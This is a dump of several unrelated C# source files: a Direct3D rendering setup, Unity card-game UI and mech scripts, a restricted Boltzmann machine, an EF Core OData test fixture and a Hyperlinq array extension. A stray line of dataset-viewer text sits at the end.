protected override SwapChainDescription1 CreateSwapChainDescription()
{
// Multi sample anti aliasing MSAA
var sc = base.CreateSwapChainDescription();
sc.SampleDescription.Count = 4;
sc.SampleDescription.Quality = 0;
return sc;
}
// Handler for DeviceManager.OnInitialize
protected override void CreateDeviceDependentResources(DeviceManager deviceManager)
{
base.CreateDeviceDependentResources(deviceManager);
// First release all ressources
RemoveAndDispose(ref texture2D);
RemoveAndDispose(ref vsByteCode);
RemoveAndDispose(ref vsShader);
RemoveAndDispose(ref psByteCode);
RemoveAndDispose(ref psShader);
RemoveAndDispose(ref vsLayout);
RemoveAndDispose(ref depthStencilState);
RemoveAndDispose(ref mvpBuffer);
ShaderFlags flag = ShaderFlags.None;
#if DEBUG
flag = ShaderFlags.Debug;
#endif
var device = deviceManager.Direct3DDevice;
var context = deviceManager.Direct3DContext;
// Compile and create vs shader
vsByteCode = ToDispose(ShaderBytecode.CompileFromFile("Shaders/Simple.hlsl", "VSMain", "vs_5_0", flag));
vsShader = ToDispose(new VertexShader(device, vsByteCode));
// Compile and create ps shader
psByteCode = ToDispose(ShaderBytecode.CompileFromFile("Shaders/Simple.hlsl", "PSMain", "ps_5_0", flag));
psShader = ToDispose(new PixelShader(device, psByteCode));
// Compile and create the depth vertex and pixel shaders
// These shaders are for checking what the depth buffer should look like
//depthVertexShaderBytecode = ToDispose(ShaderBytecode.CompileFromFile("Depth.hlsl", "VSMain", "vs_5_0", flag));
//depthVertexShader = ToDispose(new VertexShader(device, depthVertexShaderBytecode));
//depthPixelShaderBytecode = ToDispose(ShaderBytecode.CompileFromFile("Depth.hlsl", "PSMain", "ps_5_0", flag));
//depthPixelShader = ToDispose(new PixelShader(device, depthPixelShaderBytecode));
// Initialize vertex layout to match vs input structure
// Input structure definition
var input = new[]
{
// Position
new InputElement("SV_Position",0,Format.R32G32B32A32_Float,0,0),
// Color
new InputElement("COLOR",0,Format.R32G32B32A32_Float,16,0),
};
vsLayout = ToDispose(new InputLayout(device, vsByteCode.GetPart(ShaderBytecodePart.InputSignatureBlob), input));
// Create the constant buffer to store the MVP matrix
mvpBuffer = ToDispose(new Buffer(device, Utilities.SizeOf<Matrix>(), ResourceUsage.Default, BindFlags.ConstantBuffer, CpuAccessFlags.None, ResourceOptionFlags.None, 0));
// Create depth stencil state for OM
depthStencilState = ToDispose(new DepthStencilState(device, new DepthStencilStateDescription
{
IsDepthEnabled = true,
DepthComparison = Comparison.Less,
DepthWriteMask = DepthWriteMask.All,
IsStencilEnabled = false,
StencilReadMask = 0xff, // no mask
StencilWriteMask = 0xff,
// Face culling
FrontFace = new DepthStencilOperationDescription
{
Comparison = Comparison.Always,
PassOperation = StencilOperation.Keep,
DepthFailOperation = StencilOperation.Increment,
FailOperation = StencilOperation.Keep
},
BackFace = new DepthStencilOperationDescription
{
Comparison = Comparison.Always,
PassOperation = StencilOperation.Keep,
DepthFailOperation = StencilOperation.Decrement,
FailOperation = StencilOperation.Keep
},
}));
// Tell IA what vertices will look like
context.InputAssembler.InputLayout = vsLayout;
// Bind buffers to vs
context.VertexShader.SetConstantBuffer(0, mvpBuffer);
// Set vs to run
context.VertexShader.Set(vsShader);
// Set pixel shader to run
context.PixelShader.Set(psShader);
// Set depth stencil to OM
context.OutputMerger.DepthStencilState = depthStencilState;
InitializeMatricies();
}
private void InitializeMatricies()
{
// Prepare Matricies
// World matrix
M = Matrix.Identity;
// View matrix
var camPos = new Vector3(1, 1, -2);
var camLookAt = Vector3.Zero;
var camUp = Vector3.UnitY;
V = Matrix.LookAtLH(camPos, camLookAt, camUp);
// Projection matrix
P = Matrix.PerspectiveFovLH((float)Math.PI / 3f, Width / (float)Height, 0.5f, 100f);
}
// Handler for DeviceManager.OnSizeChanged
protected override void CreateSizeDependentResources(D3DApplicationBase app)
{
base.CreateSizeDependentResources(app);
InitializeMatricies();
}
}
}
|
using com.nope.fishing;
using System;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.EventSystems;
using UnityEngine.UI;
public class ButtonsInGame : MonoBehaviour
{
public static ButtonsInGame instance;
public Button btnThrowCard;
public Button btnBack;
[SerializeField]
private GameObject btnPass;
[HideInInspector]
public bool isPass;
private void Awake()
{
instance = this;
}
public void ShowBtnThrowCardAndPass()
{
if (!isPass)
{
btnThrowCard.gameObject.SetActive(true);
btnThrowCard.interactable = false;
btnPass.SetActive(true);
SoundGame.instance.gameSound.clip = SoundGame.instance.yourTurn;
SoundGame.instance.gameSound.Play();
}
}
public void HideBtnThrowCardAndPass()
{
btnThrowCard.gameObject.SetActive(false);
btnPass.SetActive(false);
}
public void ThrowCard()
{
Cards.instance.ThrowCard();
SoundGame.instance.gameSound.clip = SoundGame.instance.throwCard;
SoundGame.instance.gameSound.Play();
}
public void Pass()
{
Cards.instance.ReNewTurn(true);
SoundGame.instance.gameSound.clip = SoundGame.instance.pass;
SoundGame.instance.gameSound.Play();
}
public void ShowBtnBack(bool isShow)
{
btnBack.interactable = isShow;
}
}
|
using System;
using System.Threading.Tasks;
namespace DeepLearning.MachineLearning.RBM
{
class RestrictedBoltzmannMachine
{
public SymmetricConnection[][] Connections;
public VisibleNeuron[] VisibleNeurons;
public HiddenNeuron[] HiddenNeurons;
public RestrictedBoltzmannMachine(int visibleNeuronCount, int hiddenNeuronCount, Random random) :
this(SymmetricConnection.CreateRandomWeights(random, visibleNeuronCount, hiddenNeuronCount), new double[visibleNeuronCount], new double[hiddenNeuronCount], random)
{
}
public RestrictedBoltzmannMachine(double[][] weights, double[] visibleBiases, double[] hiddenBiases, Random random)
{
this.VisibleNeurons = Neuron.CreateNeurons<VisibleNeuron>(visibleBiases);
this.HiddenNeurons = Neuron.CreateNeurons<HiddenNeuron>(hiddenBiases);
this.Connections = SymmetricConnection.CreateConnections(weights, VisibleNeurons, HiddenNeurons);
Neuron.WireConnections(this.Connections);
foreach (var neuron in this.HiddenNeurons)
{
neuron.Random = new Random(random.Next());
}
}
public void SetVisibleNeuronValues(double[] visibleValues)
{
for (int i = 0; i < this.VisibleNeurons.Length; i++)
{
this.VisibleNeurons[i].Value = visibleValues[i];
}
}
public void LearnFromData(double learningRate, int freeAssociationStepCount = 1)
{
Wake(learningRate);
Sleep(learningRate, freeAssociationStepCount);
EndLearning();
}
public void Wake(double learningRate)
{
UpdateHiddenNeurons();
learn(learningRate);
}
public void UpdateVisibleNeurons()
{
updateNeurons(this.VisibleNeurons);
}
public void UpdateHiddenNeurons()
{
updateNeurons(this.HiddenNeurons);
}
private void updateNeurons(Neuron[] neurons)
{
Parallel.ForEach(neurons, neuron => neuron.Update());
}
private void learn(double learningRate)
{
foreach (var connectionRow in Connections)
{
foreach (var connection in connectionRow)
{
connection.Learn(learningRate);
}
}
foreach (var neuron in this.VisibleNeurons)
{
neuron.Learn(learningRate);
}
foreach (var neuron in this.HiddenNeurons)
{
neuron.Learn(learningRate);
}
}
public void Sleep(double learningRate, int freeAssociationStepCount)
{
doFreeAssociation(freeAssociationStepCount);
learn(-learningRate);
}
//Gibbs sampling
private void doFreeAssociation(int freeAssociationStepCount)
{
for (int step = 0; step < freeAssociationStepCount; step++)
{
UpdateVisibleNeurons();
UpdateHiddenNeurons();
}
}
public void EndLearning()
{
foreach (var connectionRow in Connections)
{
foreach (var connection in connectionRow)
{
connection.EndLearning();
}
}
foreach (var neuron in this.VisibleNeurons)
{
neuron.EndLearning();
}
foreach (var neuron in this.HiddenNeurons)
{
neuron.EndLearning();
}
}
public void Associate()
{
UpdateHiddenNeurons();
UpdateVisibleNeurons();
}
}
} |
// Copyright (c) .NET Foundation. All rights reserved.
// Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information.
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Threading;
using System.Threading.Tasks;
using Microsoft.AspNet.OData.Batch;
using Microsoft.AspNet.OData.Extensions;
using Microsoft.AspNet.OData.Routing;
using Microsoft.AspNet.OData.Routing.Conventions;
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Hosting;
using Microsoft.AspNetCore.Hosting.Server;
using Microsoft.AspNetCore.Hosting.Server.Features;
using Microsoft.EntityFrameworkCore.TestUtilities;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Hosting;
using Microsoft.Extensions.Logging;
using Microsoft.OData.Edm;
namespace Microsoft.EntityFrameworkCore.Query
{
public class ODataQueryTestFixtureInitializer
{
public static (string BaseAddress, IHttpClientFactory ClientFactory, IHost SelfHostServer) Initialize<TContext>(
string storeName,
IEdmModel edmModel,
List<IODataRoutingConvention> customRoutingConventions = null)
where TContext : DbContext
{
var selfHostServer = Host.CreateDefaultBuilder()
.ConfigureServices(services => services.AddSingleton<IHostLifetime, NoopHostLifetime>())
.ConfigureWebHostDefaults(webBuilder => webBuilder
.UseKestrel(options => options.Listen(IPAddress.Loopback, 0))
.ConfigureServices(services =>
{
services.AddHttpClient();
services.AddOData();
services.AddRouting();
UpdateConfigureServices<TContext>(services, storeName);
})
.Configure(app =>
{
app.UseODataBatching();
app.UseRouting();
app.UseEndpoints(endpoints =>
{
var conventions = ODataRoutingConventions.CreateDefault();
if (customRoutingConventions != null)
{
foreach (var customRoutingConvention in customRoutingConventions)
{
conventions.Insert(0, customRoutingConvention);
}
}
endpoints.MaxTop(null).Expand().Select().OrderBy().Filter().Count();
endpoints.MapODataRoute("odata", "odata",
edmModel,
new DefaultODataPathHandler(),
conventions,
new DefaultODataBatchHandler());
});
})
.ConfigureLogging((hostingContext, logging) =>
{
logging.AddDebug();
logging.SetMinimumLevel(LogLevel.Warning);
}
)).Build();
selfHostServer.Start();
var baseAddress = selfHostServer.Services.GetService<IServer>().Features.Get<IServerAddressesFeature>().Addresses.First();
var clientFactory = selfHostServer.Services.GetRequiredService<IHttpClientFactory>();
return (baseAddress, clientFactory, selfHostServer);
}
public static void UpdateConfigureServices<TContext>(IServiceCollection services, string storeName)
where TContext : DbContext
{
services.AddDbContext<TContext>(b =>
b.UseSqlServer(
SqlServerTestStore.CreateConnectionString(storeName)));
}
private class NoopHostLifetime : IHostLifetime
{
public Task StopAsync(CancellationToken cancellationToken)
{
return Task.CompletedTask;
}
public Task WaitForStartAsync(CancellationToken cancellationToken)
{
return Task.CompletedTask;
}
}
}
}
|
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class MechView : MonoBehaviour
{
Animator _animaotor;
MechView()
{
_animaotor = GetComponent<Animator>();
}
}
|
using System;
using System.Runtime.CompilerServices;
namespace NetFabric.Hyperlinq
{
public static partial class ArrayExtensions
{
[MethodImpl(MethodImplOptions.AggressiveInlining)]
public static Option<TSource> First<TSource>(this in ArraySegment<TSource> source)
=> source.Count switch
{
0 => Option.None,
_ => Option.Some(source.Array![source.Offset])
};
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.